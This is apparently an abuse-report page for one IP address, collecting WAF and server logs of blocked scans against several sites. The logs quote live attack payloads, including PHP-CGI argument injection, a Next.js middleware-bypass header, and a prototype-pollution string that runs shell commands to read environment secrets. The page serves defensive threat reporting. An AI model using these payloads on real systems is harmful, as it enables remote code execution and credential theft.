🇪🇸
el-brujo
2026-10-08 19:53:07
(1 day ago)
Cloudflare WAF: Request Path: /exec-py Request Query: Host: wiki.elhacker.net userAgent: Mozilla/5. ...
show more
Cloudflare WAF: Request Path: /exec-py Request Query: Host: wiki.elhacker.net userAgent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/) Action: block Source: firewallManaged ASN Description: Google LLC Country: CA Method: POST Timestamp: 2026-10-08T19:53:07Z ruleId: 0e3a6828906c4b24bad318a9c953a72b. Report generated by Cloudflare-WAF-to-AbuseIPDB.
show less
Hacking
SQL Injection
Web App Attack
🇩🇪
updown.io
2026-10-08 19:24:41
(1 day ago)
{"level":"info","ts":1791487479.048144,"logger":"http.log.access.log1","msg":"handled request","requ ...
show more
{"level":"info","ts":1791487479.048144,"logger":"http.log.access.log1","msg":"handled request","request":{"remote_ip":"35.203.106.239","remote_port":"34328","client_ip":"35.203.106.239","proto":"HTTP/2.0","method":"GET","host":"status.joshmountain.net","uri":"/dist/manifest.json","headers":{"X-Middleware-Subrequest":["src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"],"Accept":["text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"],"Sec-Ch-Ua-Platform":["\"macOS\""],"Sec-Fetch-Dest":["document"],"Accept-Language":["en-US,en;q=0.9"],"User-Agent":["Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36"],"Accept-Encoding":["gzip, deflate, br, zstd"],"Sec-Fetch-Mode":["navigate"],"Sec-Ch-Ua-Mobile":["?0"],"Sec-Fetch-User":["?1"],"X-Nextjs-Data":["1"],"Sec-Ch-Ua":["\"Chromium\";v=\"153
...
show less
DDoS Attack
Web App Attack
🇪🇸
el-brujo
2026-10-08 19:24:32
(1 day ago)
Cloudflare WAF: Request Path: /cgi-bin/php Request Query: ?%ADd+allow_url_include%3d1+%ADd+auto_prep ...
show more
Cloudflare WAF: Request Path: /cgi-bin/php Request Query: ?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input Host: status.elhacker.net userAgent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/) Action: block Source: firewallCustom ASN Description: Google LLC Country: CA Method: POST Timestamp: 2026-10-08T19:24:32Z ruleId: 6b2d48d0415e4adb9f099d85f54d1de6. Report generated by Cloudflare-WAF-to-AbuseIPDB.
show less
Hacking
SQL Injection
Web App Attack
🇪🇸
el-brujo
2026-10-08 18:01:43
(1 day ago)
Cloudflare WAF: Request Path: /cgi-bin/php-cgi Request Query: ?-d+allow_url_include%3don+-d+auto_pre ...
show more
Cloudflare WAF: Request Path: /cgi-bin/php-cgi Request Query: ?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input Host: metrics.elhacker.net userAgent: Mozilla/5.0 (compatible; Bytespider; [email protected] ) AppleWebKit/537.36 Action: block Source: firewallCustom ASN Description: Google LLC Country: CA Method: POST Timestamp: 2026-10-08T18:01:43Z ruleId: 6b2d48d0415e4adb9f099d85f54d1de6. Report generated by Cloudflare-WAF-to-AbuseIPDB.
show less
Hacking
SQL Injection
Web App Attack
🇪🇸
el-brujo
2026-10-08 17:54:14
(1 day ago)
08/Oct/2026:19:54:14.675819 +0200Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ...
show more
08/Oct/2026:19:54:14.675819 +0200Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client 35.203.106.239] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:0. [file "/etc/httpd/modsecurity.d/activated_rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:0: {\\\\x22then\\\\x22:\\\\x22$1:__proto__:then\\\\x22,\\\\x22status\\\\x22:\\\\x22resolved_model\\\\x22,\\\\x22reason\\\\x22:-1,\\\\x22value\\\\x22:\\\\x22{/\\\\x22then/\\\\x22:/\\\\x22$b1337/\\\\x22}\\\\x22,\\\\x22_response\\\\x22:{\\\\x22_prefix\\\\x22:\\\\x22process.mainmodule.require('child_process').execsync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null');\\\\x22,\\\\x22_formdata\\\\x22:{\\\\x22get\\\\x22:\\\\x22$1:constructor:constructor\\\\x22}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag
...
show less
Hacking
Web App Attack
2026-10-08 17:20:07
(1 day ago)
| Multiple common web attacks from same source ip. (multiple servers)
Web App Attack
Hacking
SQL Injection
🇪🇸
el-brujo
2026-10-08 17:16:29
(1 day ago)
Cloudflare WAF: Request Path: /index.php Request Query: ?-d+allow_url_include%3don+-d+auto_prepend_f ...
show more
Cloudflare WAF: Request Path: /index.php Request Query: ?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input Host: forum.elhacker.net userAgent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1) Action: block Source: firewallCustom ASN Description: Google LLC Country: CA Method: POST Timestamp: 2026-10-08T17:16:29Z ruleId: 6b2d48d0415e4adb9f099d85f54d1de6. Report generated by Cloudflare-WAF-to-AbuseIPDB.
show less
Hacking
SQL Injection
Web App Attack
2026-10-08 16:50:44
(1 day ago)
IP matched detection query bad paths many.
Brute-Force
Web App Attack
🇪🇸
el-brujo
2026-10-08 15:56:38
(1 day ago)
Cloudflare WAF: Request Path: /cgi-bin/php-cgi Request Query: ?-d+allow_url_include%3don+-d+auto_pre ...
show more
Cloudflare WAF: Request Path: /cgi-bin/php-cgi Request Query: ?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input Host: api.elhacker.net userAgent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/) Action: block Source: firewallCustom ASN Description: Google LLC Country: CA Method: POST Timestamp: 2026-10-08T15:56:38Z ruleId: 6b2d48d0415e4adb9f099d85f54d1de6. Report generated by Cloudflare-WAF-to-AbuseIPDB.
show less
Hacking
SQL Injection
Web App Attack
🇫🇷
dynamix
2026-10-08 15:33:58
(1 day ago)
Multiple WAF Violations
Web App Attack
🇪🇸
el-brujo
2026-10-08 15:33:52
(1 day ago)
35.203.106.239 - - [08/Oct/2026:17:33:51 +0200] "GET /z9x8c7v6b5-debug-trigger-elhacker.net HTTP/2.0 ...
show more
35.203.106.239 - - [08/Oct/2026:17:33:51 +0200] "GET /z9x8c7v6b5-debug-trigger-elhacker.net HTTP/2.0" 404 16129 "-" "Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)"
35.203.106.239 - - [08/Oct/2026:17:33:51 +0200] "GET /.vite/manifest.json HTTP/2.0" 404 16129 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36 Edg/153.0.0.0"
35.203.106.239 - - [08/Oct/2026:17:33:51 +0200] "GET /dpk4n3m383aljszmxn41 HTTP/2.0" 404 16129 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.203.106.239 - - [08/Oct/2026:17:33:51 +0200] "POST /graphql HTTP/2.0" 404 16129 "https://elhacker.net" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36 Edg/153.0.0.0"
...
show less
Web App Attack
Hacking
